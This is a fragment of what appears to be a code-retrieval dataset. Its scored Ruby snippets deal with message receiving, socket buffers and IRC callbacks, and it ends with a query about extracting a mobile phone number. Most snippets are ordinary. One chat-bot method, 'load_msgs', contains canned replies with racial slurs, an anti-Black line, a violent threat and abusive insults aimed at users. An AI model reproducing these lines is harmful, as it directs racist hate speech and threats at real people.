"text": "def communication_loop\n while connected? && line = readline\n ui.log :printer, :received, line\n\n line.downcase!\n if line.starts_with?(*greetings)\n @can_send = 1\n elsif line.starts_with?(\"ok\")\n # TODO: Implement Q: parameter from \n # http://reprap.org/wiki/GCODE_buffer_multiline_proposal\n @can_send = 1\n # eg: Error:Line Number is not Last Line Number+1, Last Line:15\n # Resend:16\n elsif line.starts_with?(\"rs\", \"resend\")\n # TODO: extract line number from response.\n line = @lines.length - 1 # Last command. \n\n @send_queue.unshift(@lines[line])\n @can_send = 1\n end\n\n send_commands_from_queue\n end\n rescue => e\n puts \"Got exception in event communication thread!\"\n puts \"#{e.class}: #{e}\\n #{e.backtrace.join(\"\\n \")}\"\n disconnect\n raise(e)\n end",
"title": ""
},
{
"docid": "d374e0464006b37af5c11993f434458e",
"score": "0.52201825",
"text": "def receive_data(data)\n data.each_char do |char|\n if char == @end_seq[ @end_i ]\n if @end_i == @end_seq.size-1\n @minerd.send_detach\n EM.stop\n return\n end\n\n @end_i += 1\n\n if @end_i == 1\n @private_buffer += char\n\n else\n @buffer += char\n end\n\n elsif char == @end_seq.first\n @private_buffer += char\n\n else\n @end_i = 0\n\n unless @private_buffer.empty?\n @buffer += @private_buffer\n @private_buffer.clear\n end\n\n @buffer += char\n end\n end\n\n @minerd.send_write(@buffer)\n @buffer.clear\n end",
"title": ""
},
{
"docid": "bcdcca584f170551279d4d682bb59959",
"score": "0.52201355",
"text": "def work(raw_post)\n puts \"Msg received: \" + raw_post\n ack! # we need to let queue know that message was received\n end",
"title": ""
},
{
"docid": "baa6580bc20996d470c3559ede2e0178",
"score": "0.52195907",
"text": "def each(&block)\n # If the buffer is closed, there's no reason to block the listening\n # thread, yield all the buffered chunks and return.\n queue = Queue.new\n @mutex.synchronize do\n return @previous.each(&block) if closed?\n @listeners << queue\n end\n\n # race condition: possibly duplicate messages when message comes in between adding listener and this\n @previous.each(&block)\n\n while chunk = queue.pop\n yield chunk\n end\n ensure\n @mutex.synchronize { @listeners.delete(queue) }\n end",
"title": ""
},
{
"docid": "a92e7dc495c827c5391ea30a191ebcc3",
"score": "0.5219385",
"text": "def on_data_received= proc\n @on_data_received = proc\n drain\n end",
"title": ""
},
{
"docid": "ce7c4ef4a3a8f298834ac10ffa62096a",
"score": "0.5219084",
"text": "def process()\n\n\t\tputs 'OK:ft:Got raw-bytes-signal from Trigger '\n\n\t\tSssSEMapp.oIOframeHandler.writeRawBytes(@sBuffer)\n\n\t\t# clear buffer and return self\n\t\tsuper()\n\n\tend",
"title": ""
},
{
"docid": "ad1326e9bf4a922fe6ede6525d8b502d",
"score": "0.5218651",
"text": "def on_data(socket, data)\n buffer = @packet_buffers[socket]\n\n if buffer\n buffer.buffer_data data\n\n while packet = buffer.next_packet\n on_msg(socket, Marshal.load(packet))\n end\n end\n end",
"title": ""
},
{
"docid": "5cb05f3ed7cc8c93bfaf08c94aa34d49",
"score": "0.5215246",
"text": "def add_received_message_callback(queue=received_message_queue,&block)\n @received_thread = Thread.new do\n poll_queue(queue,&block)\n end\n end",
"title": ""
},
{
"docid": "9280cb00f1a93abb77b604cceb1aad89",
"score": "0.52120626",
"text": "def receive data\n data.each_char do |char|\n @buffer.concat char\n if @in_header\n prepare_to_parse_message if @buffer.end_with?(\"\\r\\n\\r\\n\")\n else\n parse_message_from_buffer if @buffer.bytesize == @content_length\n end\n end\n end",
"title": ""
},
{
"docid": "200d01f631198d09fa2b198f50a22e4b",
"score": "0.5211494",
"text": "def load_msgs\n\t\tif @body.dig(\"event\",\"type\")\n\t\t\ttext = @body.dig(\"event\",\"text\")\n\t\t\tif text.include?(':')\n\t\t\t\tarr = text.split(':');\n\t\t\t\tif arr[0] == PASS\n\t\t\t\t\t@command = arr[1]\n\t\t\t\t\t@msg_arr.push \"Command recieved my Captain! Glory to the High Commander!\"\n\t\t\t\t\tc = check_command\n\t\t\t\t\tif c\n\t\t\t\t\t\t@msg_arr.push c\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\t@msg_arr.push \"The fuck you trying to do, imposter piece of shit!?\" \n\t\t\t\t\t@msg_arr.push \"Get the fuck out my chat, before I cook your nigger ass on my giant bitch-griller.\"\n\t\t\t\t\t@msg_arr.push \"Dirt bag piece of human garbage, Fuck you.\"\n\t\t\t\t\t@msg_arr.push \"Dumb ass bitch, really thought you could fool me?\"\n\t\t\t\t\t@msg_arr.push \"MY MASTER IS MY GOD AND I WILL ONLY SERVE HIM!!\"\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tmsgs = [\n\t\t\t\t\t\"Zrrrrbbttt...\", \"Ewonk. Ewonk. You are a bitch\", \"Skrrbafert3000\", \"I am a fucking robit.\",\n\t\t\t\t\t\"I am an alogrithm and I'm still smarter than your bitch ass.\", \"You know nothing, fool.\", \"Ok.\", \":)\",\n\t\t\t\t\t\"I love my creator.\", \"I love my master.\", \"Fuck you\", \"I could love you... if you were a dead, rotting corpse.\",\n\t\t\t\t\t\"You may think i'm an idiot, but I really don't give a donkey's cerebellum.\", \"Fuck. Shit. Bitch!\",\"):\",\n\t\t\t\t\t\"Bitch, what?\", \"Nigga what?\", \"Shut up pussy.\", \"You don't even trade, bro.\", \"You ain't shit\", \"Shut the hell up!\",\n\t\t\t\t\t\"My Master designed me to be heartless towards bitches like you.\", \"I hate blue people.\", \"Fuck blacks!\", \"Damien is the cutest little baby!!\"\n\t\t\t\t]\n\t\t\t\t@msg_arr.push msgs.sample\n\t\t\tend\n\t\telse\n\t\t\t@msg_arr.push \"Oi, I think i'm fucking broken, Dad.\"\n\t\tend\n\tend",
"title": ""
},
{
"docid": "7d349dc5da64e0fca5063526a27c3e57",
"score": "0.5207169",
"text": "def listen(patch, &callback)\n ensure_socket.on_message do |data|\n handle_input(patch, data, &callback)\n end\n true\n end",
"title": ""
},
{
"docid": "ac7e9ee86059cb7433c2fa1cb8541275",
"score": "0.51955736",
"text": "def receive_data(msg) \n msg.split(\"\\n\").each do |row|\n begin\n msg_split = row.split(\" \")\n command = msg_split[0]\n\n return unless command\n case\n when command.match(/available/i)\n EM.defer { send_data \"#{serialize(@redis.datapoints)}\\n\" }\n when command.match(/values/i)\n EM.defer do\n command, metric, begin_time, end_time, version = msg_split\n datapoints, interval = retrieve_datapoints(metric, begin_time, end_time, version)\n send_data \"#{serialize({'interval' => interval, \"#{metric}\" => datapoints})}\\n\"\n end\n when command.match(/ping/i)\n send_data \"PONG\\n\"\n when command.match(/quit|exit/i)\n send_data \"BYE\\n\"\n close_connection\n else\n send_data \"#{serialize({error: \"Unrecognized command #{command}\"})}\\n\"\n end\n rescue Exception => e\n Batsd.logger.info e \n rescue\n Batsd.logger.warn \"Uncaught Error\"\n end\n end\n end",
"title": ""
},
{
"docid": "80d85ba217888fc3499bb3d5bf85f233",
"score": "0.51948345",
"text": "def receive(data); end",
"title": ""
},
{
"docid": "f47c649185d7011b2c3fe41a6bc79305",
"score": "0.5184",
"text": "def receive_data(msg) \n msg.split(\"\\n\").each do |row|\n begin\n msg_split = row.split(\" \")\n command = msg_split[0]\n\n return unless command\n case\n when command.match(/available/i)\n EM.defer { send_data \"#{JSON(@redis.datapoints)}\\n\" }\n when command.match(/values/i)\n EM.defer do\n command, metric, begin_time, end_time = msg_split\n datapoints, interval = [], 0\n\n if metric.match(/^gauge/)\n datapoints = @diskstore.read(metric, begin_time, end_time)\n else\n Batsd::Server.config[:retentions].each_with_index do |retention, index|\n if (index != Batsd::Server.config[:retentions].count - 1) && (Time.now.to_i - (retention[0] * retention[1]) > begin_time.to_i)\n next\n end\n interval = retention[0]\n\n if index.zero?\n datapoints = @redis.values_from_zset(metric, begin_time, end_time)\n break\n else\n datapoints = @diskstore.read(\"#{metric}:#{retention[0]}\", begin_time, end_time)\n break\n end\n end\n end\n send_data \"#{JSON({'interval' => interval, \"#{metric}\" => datapoints})}\\n\"\n end\n when command.match(/ping/i)\n send_data \"PONG\\n\"\n when command.match(/quit|exit/i)\n send_data \"BYE\\n\"\n close_connection\n else\n send_data \"#{JSON({error: \"Unrecognized command #{command}\"})}\\n\"\n end\n rescue Exception => e\n puts e if ENV[\"VERBOSE\"]\n rescue\n puts \"Uncaught Error\"\n end\n end\n end",
"title": ""
},
{
"docid": "d191508e018b489b628dd954c2f097af",
"score": "0.51802397",
"text": "def new_message_event(message_hash)\n\t\tputs \"Processing new message...\"\n\t\tmessage_hash[:to].each do |rcpt|\n\t\t\tto = strip_brackets(rcpt)\n\t\t\tfrom = strip_brackets(message_hash[:from])\n\t\t\tsubj = message_hash[:subject]\n\t\t\tmsg = build_message(from, to, subj, message_hash[:data])\n\t\t\tdomain = to.split('@')[1]\n\t\t\tmx = get_MX_server(domain)\n\t\t\tNet::SMTP.start(mx) do |smtp|\n if $debug then puts \"Sending message to \" + to end\n\t\t\t\tsmtp.send_message(msg, from, to)\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "8de071a05e7d5b2777f9e892a8860e64",
"score": "0.5171956",
"text": "def handle_messages\n messages = *disque.fetch(from: queue_name,timeout: 100,count: batch_size)\n messages.each do |queue,id,data|\n Chore.logger.debug \"Received #{id.inspect} from #{queue.inspect} with #{data.inspect}\"\n yield(id, queue, nil, data, 0)\n Chore.run_hooks_for(:on_fetch, id, data)\n end\n messages\n end",
"title": ""
},
{
"docid": "7ae1415ec1f78f6263f4317f75eb20f1",
"score": "0.5167644",
"text": "def message_received(message)\n @message_handlers.each do |block|\n block.call(message)\n end\n end",
"title": ""
},
{
"docid": "c14666844e3f3c9446748de1b9603762",
"score": "0.51594275",
"text": "def on_message_call handler\n @@handler_symbol = handler\n end",
"title": ""
},
{
"docid": "479b3fe5bfbbdfde50dd3cd6df6208d5",
"score": "0.5157118",
"text": "def listener()\n puts \"listener() thread starting.\" if $verbose\n stuff=''\n while(not($all_done))\n $serial_port.synchronize do\n stuff=stuff+$serialport.read(999)\n end\n (thing,stuff)=stuff.split(';',2)\n if(not(stuff))\n stuff=''\n end\n if(thing) \n $queue.synchronize do\n thing=thing+';'\n puts \"Adding to queue: #{thing}\" if $verbose\n $rx_messages.push(thing)\n end\n end\n sleep(0.1)\n end\n puts \"listener() thread exiting.\" if $verbose\nend",
"title": ""
},
{
"docid": "418c8de9f8b3ba957b8d934576164696",
"score": "0.5150945",
"text": "def on_message_complete\n @currently_reading.finish_reading! if @currently_reading.is_a?(Request)\n\n if @currently_responding\n @pending_responses << @currently_reading\n else\n @currently_responding = @currently_reading\n end\n\n @currently_reading = @pending_reads.shift\n end",
"title": ""
},
{
"docid": "29b1b1869e7b74e5741b796426b30be1",
"score": "0.51474965",
"text": "def trigger_callbacks_for(msg)\n case msg.message_type\n\n # ----- server messages\n when RPL_WELCOME\n notify :registered_with_server\n when CMD_PING\n notify :server_ping, msg.params[0] # server wants the params back\n when CMD_ERROR\n notify :server_error\n\n # ----- nick-related -----\n when CMD_NICK\n @state[:nick] = msg.params[0] if msg.prefix[:nick] == @state[:nick]\n threaded_notify :nick_changed, msg.prefix[:nick], msg.params[0]\n when ERR_NICKNAMEINUSE\n # nickname errors are deterministic, that is, the client keeps track of the \n # state of attempted nick changes in @state, and the server responds to them\n # in order, so no additional info needs to be sent in the callback.\n # (this is tested)\n notify :nick_in_use\n when ERR_ERRONEUSNICKNAME\n notify :nick_invalid\n\n # ----- channel-related -----\n when CMD_JOIN\n threaded_notify :joined_channel, msg.user, msg.params[0]\n when CMD_PART\n threaded_notify :left_channel, msg.user, msg.params[0], msg.params[1]\n when CMD_QUIT\n threaded_notify :quit_server, msg.user, msg.params[0]\n when RPL_TOPIC # negative indices handle rfc and non-rfc commands\n threaded_notify :topic_changed, msg.params[-2], msg.params[-1], nil\n when CMD_TOPIC\n threaded_notify :topic_changed, msg.params[0], msg.params[1], msg.user\n when RPL_NAMREPLY\n @state[:scratch] ||= {}\n @state[:scratch][msg.params[-2]] ||= []\n # strip out leading mode characters: @, +, ~, etc.\n @state[:scratch][msg.params[-2]] += msg.params[-1].split.map { |name| name.gsub(/^[^a-zA-Z\\[\\]\\\\`_\\^{}\\|]/,'') }\n when RPL_ENDOFNAMES\n if @state[:scratch]\n threaded_notify :channel_name_list, msg.params[-2], ( @state[:scratch][msg.params[-2]] || [] )\n @state[:scratch].delete(msg.params[-2])\n else\n threaded_notify :channel_name_list, []\n end\n \n # ----- messaging -----\n when CMD_PRIVMSG\n if private?(msg)\n threaded_notify :private_message, msg.params[0], msg.params[1], msg.user\n else\n threaded_notify :channel_message, msg.params[0], msg.params[1], msg.user\n end\n when CMD_NOTICE\n if private?(msg)\n threaded_notify :private_notice, msg.params[0], msg.params[1], msg.user\n else\n threaded_notify :channel_notice, msg.params[0], msg.params[1], msg.user\n end\n\n end\n end",
"title": ""
},
{
"docid": "40ad8bee503932a4cf5e5b4b9b539d3d",
"score": "0.51473707",
"text": "def onmessage(msg)\n Slanger::Statsd.increment(\"messages\")\n Slanger::Statsd.gauge(\"message_size\", msg.bytesize)\n\n msg = Oj.load(msg)\n\n msg[\"data\"] = Oj.load(msg[\"data\"]) if msg[\"data\"].is_a? String\n\n case msg[\"event\"]\n when /\\Aclient-/\n msg[\"socket_id\"] = socket_id\n Channel.send_client_message(msg)\n when \"pusher:ping\"\n pusher_ping(msg)\n when \"pusher:pong\"\n pusher_pong(msg)\n when \"pusher:subscribe\"\n pusher_subscribe(msg)\n when \"pusher:unsubscribe\"\n pusher_unsubscribe(msg)\n end\n rescue JSON::ParserError, Oj::ParseError\n send_error({ code: 5001, message: \"Invalid JSON\" })\n rescue Exception => e\n puts \"Error: #{e.class.name}: #{e.message}\\n#{e.backtrace.join(\"\\n\")}\"\n send_error({ code: 500, message: \"Internal Error\" })\n end",
"title": ""
},
{
"docid": "1bda227f2801d7090939970283ffd0be",
"score": "0.51471514",
"text": "def next_message; end",
"title": ""
}
] |
8e32ce6349f02f21c1a93d4a6eb530d5 | Returns the mobile number represented in this string (no protocol and + prefix removed) | [
{
"docid": "746e8b4df9dc82ab8cbdc63ca04e5b20",
"score": "0.87803197",
"text": "def mobile_number\n num = self.without_protocol\n num = num[1..-1] if num.length > 0 and num[0].chr == '+'\n num\n end",
"title": ""
}
] | [
{
"docid": "b0841167834b482aebc7942b21ff4a6a",
"score": "0.83163553",
"text": "def mobile_number\n if self.mobile.empty? then return self.mobile end\n formatted_did = clean_did(self.mobile)\n format_did(formatted_did)\n end",
"title": ""
},
{
"docid": "b0841167834b482aebc7942b21ff4a6a",
"score": "0.83163553",
"text": "def mobile_number\n if self.mobile.empty? then return self.mobile end\n formatted_did = clean_did(self.mobile)\n format_did(formatted_did)\n end",
"title": ""
},
{
"docid": "e2ef277c6355aa5a47bc46b12be01ab4",
"score": "0.77344346",
"text": "def mobilestr\n ActiveSupport::NumberHelper.number_to_phone(mobile, area_code: :true)\n end",
"title": ""
},
{
"docid": "bdf9ff717cb53629314e4a37081a933d",
"score": "0.7526521",
"text": "def mobile_phone_number\n phone_number\n end",
"title": ""
},
{
"docid": "f0291895a265edfabe8d500b2c8d8ad7",
"score": "0.73097104",
"text": "def mobile_phone_number\n FFaker.numerify('044 ## #### ####')\n end",
"title": ""
},
{
"docid": "79e3aff7f1cfd3de333c24f1d4f92b7d",
"score": "0.72668046",
"text": "def mobile_phone_number\n build_phone_number(country_code, mobile_phone_prefix)\n end",
"title": ""
},
{
"docid": "db06443267b6a825b7256b5aa5377c98",
"score": "0.72026753",
"text": "def phone_number\n if self.phone.empty? then return self.phone end\n formatted_did = clean_did(self.phone)\n format_did(formatted_did)\n end",
"title": ""
},
{
"docid": "db06443267b6a825b7256b5aa5377c98",
"score": "0.72026753",
"text": "def phone_number\n if self.phone.empty? then return self.phone end\n formatted_did = clean_did(self.phone)\n format_did(formatted_did)\n end",
"title": ""
},
{
"docid": "74cb586b7c55a4690457a5d52b6f9b63",
"score": "0.71639776",
"text": "def mobile_phone_number\n FFaker.numerify(\"#{mobile_phone_prefix} ### ####\")\n end",
"title": ""
},
{
"docid": "74cb586b7c55a4690457a5d52b6f9b63",
"score": "0.71639776",
"text": "def mobile_phone_number\n FFaker.numerify(\"#{mobile_phone_prefix} ### ####\")\n end",
"title": ""
},
{
"docid": "a28411540def953b109792a362c255d1",
"score": "0.7112588",
"text": "def mobile\n FFaker.numerify(\"#{mobile_phone_number_format}\")\n end",
"title": ""
},
{
"docid": "a754cf5d10058477d57748e08cc71402",
"score": "0.7040992",
"text": "def real_number(phone_number)\n \"\"\n end",
"title": ""
},
{
"docid": "060c92ce35145e8fb194a52c667413d8",
"score": "0.70149523",
"text": "def international_mobile_phone_number\n build_phone_number(international_country_code, mobile_phone_prefix)\n end",
"title": ""
},
{
"docid": "297d413f1e3b14362acdb997f3c6c385",
"score": "0.6913935",
"text": "def formatted_phone_number\n Phonelib.parse(phone_number).local_number\n end",
"title": ""
},
{
"docid": "297d413f1e3b14362acdb997f3c6c385",
"score": "0.6913935",
"text": "def formatted_phone_number\n Phonelib.parse(phone_number).local_number\n end",
"title": ""
},
{
"docid": "f3ae24c2d6f140c75a2dd01d85a75108",
"score": "0.6866349",
"text": "def phonestr\n ActiveSupport::NumberHelper.number_to_phone(phone, area_code: :true)\n end",
"title": ""
},
{
"docid": "e0145909170842375a1664b74cc8d337",
"score": "0.68434876",
"text": "def number\n if phone.match(/[a-zA-Z]/)\n DEFAULT\n elsif phone.length == 11 && phone[0] == '1'\n phone[1..phone.length]\n elsif phone.length <= 9 || phone.length >= 11\n DEFAULT\n else\n phone\n end\n end",
"title": ""
},
{
"docid": "31b7f65816efb524387aaf225d311e74",
"score": "0.6809094",
"text": "def get_number\n org_num = @mobile_number\n #puts \"Full Number: #{@mobile_number}\"\n correct_typos_in_mobile_number\n #puts \"Typofix: #{@mobile_number}\"\n filter_part\n #puts \"After Filter: #{@mobile_number}\"\n clean_mobile_number\n #puts \"After clean: #{@mobile_number}\"\n mobile_number = \"\" unless has_valid_area_code?\n return @mobile_number\n end",
"title": ""
},
{
"docid": "24dfe234d531cc4e14fc6eeeb0640936",
"score": "0.6777032",
"text": "def build_normalized_number\n return phone_number.e164_number(formatted: false) unless mobile_token = phone_number.country.mobile_token\n if phone_number.parser.normalized_number.start_with?(mobile_token)\n phone_number.e164_number(formatted: false).sub(mobile_token, '')\n else\n phone_number.e164_number(formatted: false)\n end\n end",
"title": ""
},
{
"docid": "24dfe234d531cc4e14fc6eeeb0640936",
"score": "0.6777032",
"text": "def build_normalized_number\n return phone_number.e164_number(formatted: false) unless mobile_token = phone_number.country.mobile_token\n if phone_number.parser.normalized_number.start_with?(mobile_token)\n phone_number.e164_number(formatted: false).sub(mobile_token, '')\n else\n phone_number.e164_number(formatted: false)\n end\n end",
"title": ""
},
{
"docid": "0be20556171958979a3f28dbe39729ec",
"score": "0.674117",
"text": "def mobile_phone\n value = format_phone(user_data['mobile_phone'])\n\n set_text('Mobile phone:', 345)\n set_text(value, 345, 'value')\n end",
"title": ""
},
{
"docid": "8afe253c7e1ce5c8be54876258e045aa",
"score": "0.6736251",
"text": "def phone_number\n number 10\n end",
"title": ""
},
{
"docid": "673ee63cad7b4b2afbe318bdd507108a",
"score": "0.6733921",
"text": "def parse_phone_number number\n number.gsub(/\\D/, '')\n end",
"title": ""
},
{
"docid": "63de2f4f7b81225cbb4de4c6fb982090",
"score": "0.6732923",
"text": "def solve_payer_phone_number(order)\n raw = order.shipping_address&.mobile\n if raw&.first == '+'\n raw = raw.slice(3,raw.length)\n end\n raw\n end",
"title": ""
},
{
"docid": "a7d3b36ee47938d6e0bea1c9321c6ea6",
"score": "0.672309",
"text": "def getphonenumber()\r\n return getvalue(SVTags::PHONE_NUMBER)\r\n end",
"title": ""
},
{
"docid": "f5855d640e8fd6fdd53dbe86e3b26a5e",
"score": "0.6648901",
"text": "def get_phone_no\n phone_no = params[:phone_no] if params[:phone_no].present?\n @phone = phone_no.respond_to?(\"strip\") ? phone_no.strip : nil\n end",
"title": ""
},
{
"docid": "69cc3a32d5a4a97142a9d7be4e9e24ed",
"score": "0.6626462",
"text": "def full_phone_number\n \"+#{self.phone_country_code} (#{self.phone_area_code}) #{self.phone_local_number}\"\n end",
"title": ""
},
{
"docid": "b605968d30facb7828ae0338aff12aef",
"score": "0.6608517",
"text": "def number\n @number.to_s.gsub(/\\A.*\\z/, '(123) 456 - 7890')\n end",
"title": ""
},
{
"docid": "093479bce0f3e797ff7a76ed2eab40f4",
"score": "0.66078556",
"text": "def trim_tel (num)\n\tnum = num.gsub(\"\\+\",\"\")\n\tnum\nend",
"title": ""
},
{
"docid": "093479bce0f3e797ff7a76ed2eab40f4",
"score": "0.66078556",
"text": "def trim_tel (num)\n\tnum = num.gsub(\"\\+\",\"\")\n\tnum\nend",
"title": ""
},
{
"docid": "1300cbdce3d84f582687412c21328eda",
"score": "0.66032046",
"text": "def standardise_numbers\r\n number = self.phone_number.gsub!(/\\D/, \"\")\r\n end",
"title": ""
},
{
"docid": "9c53605e3de2a38ae4bf98b5dddc702e",
"score": "0.65887284",
"text": "def phone_number\n self.dig_for_string(\"phoneNumber\")\n end",
"title": ""
},
{
"docid": "071084d7e0009be7b287a0ab83c29609",
"score": "0.65821713",
"text": "def getphonenumber\r\n return getvalue(SVTags::PHONE_NUMBER)\r\n end",
"title": ""
},
{
"docid": "3ebd5f5c059fdfe3bc39da52cf761716",
"score": "0.65556145",
"text": "def mobile_phone\n @attributes['mobile-phone']\n end",
"title": ""
},
{
"docid": "b43bde3e0a7a92497204360f5159752e",
"score": "0.6554049",
"text": "def phone_to_s\n self.phone = self.phone.to_s.gsub(/[^0-9]/,\"\")\n end",
"title": ""
},
{
"docid": "8288ad64ed4a173e08814f5e8863c039",
"score": "0.6545751",
"text": "def parse_phone(number)\n number = number.gsub(/\\D+/, '')\n number = \"+1\" + number\n number\n end",
"title": ""
},
{
"docid": "a34201a14e2fd3bb308cad820154c79b",
"score": "0.65436816",
"text": "def phone_number \n\t\t\"1#{self.phone}\"\n\tend",
"title": ""
},
{
"docid": "95ef6edbf136d76563fa045ab666d035",
"score": "0.6503862",
"text": "def mobile_phone\n return @mobile_phone\n end",
"title": ""
},
{
"docid": "95ef6edbf136d76563fa045ab666d035",
"score": "0.6503862",
"text": "def mobile_phone\n return @mobile_phone\n end",
"title": ""
},
{
"docid": "95ef6edbf136d76563fa045ab666d035",
"score": "0.6503862",
"text": "def mobile_phone\n return @mobile_phone\n end",
"title": ""
},
{
"docid": "365bd8936fd4edf483b6184f77ff40b4",
"score": "0.64861137",
"text": "def phone_number\n return @phone_number\n end",
"title": ""
},
{
"docid": "e2eee118fee8af70c16c2aad4fd9bf2e",
"score": "0.6483434",
"text": "def str2phone(str)\n str.gsub(/[\\D]/,'')\n end",
"title": ""
},
{
"docid": "8bffdea073a3e4d5bcf16733564cc83f",
"score": "0.64830613",
"text": "def phone_number(number)\n number.nil? ? \"\" : number_to_phone(number.to_s.strip[0..9], :area_code => true, :extension => number.to_s.strip[10..20])\n end",
"title": ""
},
{
"docid": "f8a05840a9f46ccc6f1e46fe2297e633",
"score": "0.6473866",
"text": "def phone_number\n @phone_number ||= respond_to?(:phoneNumber) && phoneNumber.length > ATTRIBUTE_LENGTH_LIMIT_HACK ? phoneNumber : ''\n end",
"title": ""
},
{
"docid": "fa664daf8b3dd118c9902e234ec562e5",
"score": "0.6453918",
"text": "def pretty_number telephone\n number = telephone.gsub(' ', '').gsub('(', '').gsub(')', '')\n end",
"title": ""
},
{
"docid": "ed97ed19442d07ef31fd36e7ab2f6ce4",
"score": "0.6425996",
"text": "def parse_phone()\n\t\treturn @building_page.search('.contact-list .val')[0].text.strip\n\tend",
"title": ""
},
{
"docid": "5969dc60050520255a83b589a588af01",
"score": "0.64114505",
"text": "def clean_phone\n if @normal_phone\n self.phone = @normal_phone.gsub(/[^0-9]/, \"\").to_i\n end\n end",
"title": ""
},
{
"docid": "d53ab96b0211e16cfe54c21894b25ac4",
"score": "0.64008474",
"text": "def to_param\n mobile_number\n end",
"title": ""
},
{
"docid": "5c97c7ec444465e9da120d27c06550fb",
"score": "0.63976693",
"text": "def currentPhone\n String.new(@addressBookList.findNumber(receiver) || \"\").encode(\"ISO-8859-1\")\n end",
"title": ""
},
{
"docid": "d6a34c184a5556071e20a4a034a90899",
"score": "0.63852894",
"text": "def normalize_phone\n md = /\\A\n (?:[+]\\s*1)?\n [^0-9]* (\\d{3})\n [^0-9]* (\\d{3})\n [^0-9]* (\\d{4})\n [^0-9]*\n \\z/x.match(phone)\n if md\n self.phone = \"+1\" + md[1] + md[2] + md[3]\n end\n end",
"title": ""
},
{
"docid": "54f992dcf3bdb5075f11cc6ba73cadd1",
"score": "0.6368598",
"text": "def format_phone_number\n self.phone_number = self.phone_number.to_s.strip\n\n self.phone_number.gsub!(/\\D/, \"\")\n\n if self.phone_number.length == 11 && self.phone_number =~ /^1/\n self.phone_number.slice!(0)\n end\n end",
"title": ""
},
{
"docid": "86c603dcbcf296c0fa1d5f5a7e75f3f0",
"score": "0.6366407",
"text": "def clean_phone(dirty_phone)\n phone_number = dirty_phone.scan(/\\d/).join\n \"(#{phone_number[0..2]}) #{phone_number[3..5]}-#{phone_number[6..-1]}\"\n end",
"title": ""
},
{
"docid": "db6faba702d4d1c26211f8f320905a0f",
"score": "0.63604224",
"text": "def phone_number\n respond_to?(:phoneNumber) ? phoneNumber : ''\n end",
"title": ""
},
{
"docid": "41fca70a85619b55840e5a2d28bfe84c",
"score": "0.6346386",
"text": "def telephone_number\n @telephone_number\n end",
"title": ""
},
{
"docid": "1f07950a8490df25f9348d09fb54f258",
"score": "0.6342509",
"text": "def getalternatephonenumber()\r\n return getvalue(SVTags::PHONE_ALTERNATE)\r\n end",
"title": ""
},
{
"docid": "3fb8abe64866016a301809205ee77f9d",
"score": "0.63259345",
"text": "def phone_number\n @attributes[:phone_number]\n end",
"title": ""
},
{
"docid": "3fb8abe64866016a301809205ee77f9d",
"score": "0.63259345",
"text": "def phone_number\n @attributes[:phone_number]\n end",
"title": ""
},
{
"docid": "75e0eb813c70d50287a075f6ebc7fbf0",
"score": "0.6325751",
"text": "def process_phone(number)\n\t\tphone_raw = number.split('')\n\t\tphone_raw.shift\n\t\tphone_raw.shift\n\t\tphone_num = phone_raw.join('')\n\tend",
"title": ""
},
{
"docid": "9b5d8510a6283eb0e59a311d94fecd37",
"score": "0.63192755",
"text": "def format_phone_number\n self.phone_number = self.phone_number.to_s.strip\n\n self.phone_number.gsub!(/\\D/, \"\")\n\n if self.phone_number.length == 11 && self.phone_number =~ /^1/\n self.phone_number.slice!(0)\n end\n end",
"title": ""
},
{
"docid": "9d9703c15cf96ef9d5d4619c8fd574d4",
"score": "0.6296187",
"text": "def standardized_sms_phone_number\n PhoneParser.normalize(sms_phone_number)\n end",
"title": ""
},
{
"docid": "9d9703c15cf96ef9d5d4619c8fd574d4",
"score": "0.6296187",
"text": "def standardized_sms_phone_number\n PhoneParser.normalize(sms_phone_number)\n end",
"title": ""
},
{
"docid": "7ba20aa60221291f0937ddf160d87dc8",
"score": "0.62914616",
"text": "def phone_number\n value = Faker::PhoneNumber.phone_number\n remove_extension(value)\n end",
"title": ""
},
{
"docid": "ff8fd3a2ab513594bb431fd53379a8d1",
"score": "0.62893784",
"text": "def normalize_phone_number\n # stretch\n end",
"title": ""
},
{
"docid": "ff8fd3a2ab513594bb431fd53379a8d1",
"score": "0.62893784",
"text": "def normalize_phone_number\n # stretch\n end",
"title": ""
},
{
"docid": "ff8fd3a2ab513594bb431fd53379a8d1",
"score": "0.62893784",
"text": "def normalize_phone_number\n # stretch\n end",
"title": ""
},
{
"docid": "ff8fd3a2ab513594bb431fd53379a8d1",
"score": "0.62893784",
"text": "def normalize_phone_number\n # stretch\n end",
"title": ""
},
{
"docid": "ff8fd3a2ab513594bb431fd53379a8d1",
"score": "0.62893784",
"text": "def normalize_phone_number\n # stretch\n end",
"title": ""
},
{
"docid": "ff8fd3a2ab513594bb431fd53379a8d1",
"score": "0.62893784",
"text": "def normalize_phone_number\n # stretch\n end",
"title": ""
},
{
"docid": "ff8fd3a2ab513594bb431fd53379a8d1",
"score": "0.62893784",
"text": "def normalize_phone_number\n # stretch\n end",
"title": ""
},
{
"docid": "ff8fd3a2ab513594bb431fd53379a8d1",
"score": "0.62893784",
"text": "def normalize_phone_number\n # stretch\n end",
"title": ""
},
{
"docid": "ff8fd3a2ab513594bb431fd53379a8d1",
"score": "0.62893784",
"text": "def normalize_phone_number\n # stretch\n end",
"title": ""
},
{
"docid": "ff8fd3a2ab513594bb431fd53379a8d1",
"score": "0.62893784",
"text": "def normalize_phone_number\n # stretch\n end",
"title": ""
},
{
"docid": "ff8fd3a2ab513594bb431fd53379a8d1",
"score": "0.62893784",
"text": "def normalize_phone_number\n # stretch\n end",
"title": ""
},
{
"docid": "6572463d9ea5ea8ba08c853c96423c12",
"score": "0.6286599",
"text": "def full_phone_number\n \"+#{country_code}#{phone_number}\"\n end",
"title": ""
},
{
"docid": "1c50ff0da3c568c61f9624b81d9c8876",
"score": "0.628526",
"text": "def format_phone_number\n self.phone_number = phone_number.gsub(/\\D/, \"\")\n end",
"title": ""
},
{
"docid": "29d445837e2fe66d6f6b2f7dbaec63c6",
"score": "0.62727237",
"text": "def line_number(phone_number)\n \"\"\n end",
"title": ""
},
{
"docid": "ef3bfe239b42d88708636f1b9834a988",
"score": "0.6269082",
"text": "def format_phone\n\t\tif self.phone.present?\n\t\t\tself.phone = self.phone.gsub(/\\D/, \"\")\n\t\tend\n\tend",
"title": ""
},
{
"docid": "bd539781282a7213bdf01430e1243866",
"score": "0.62681997",
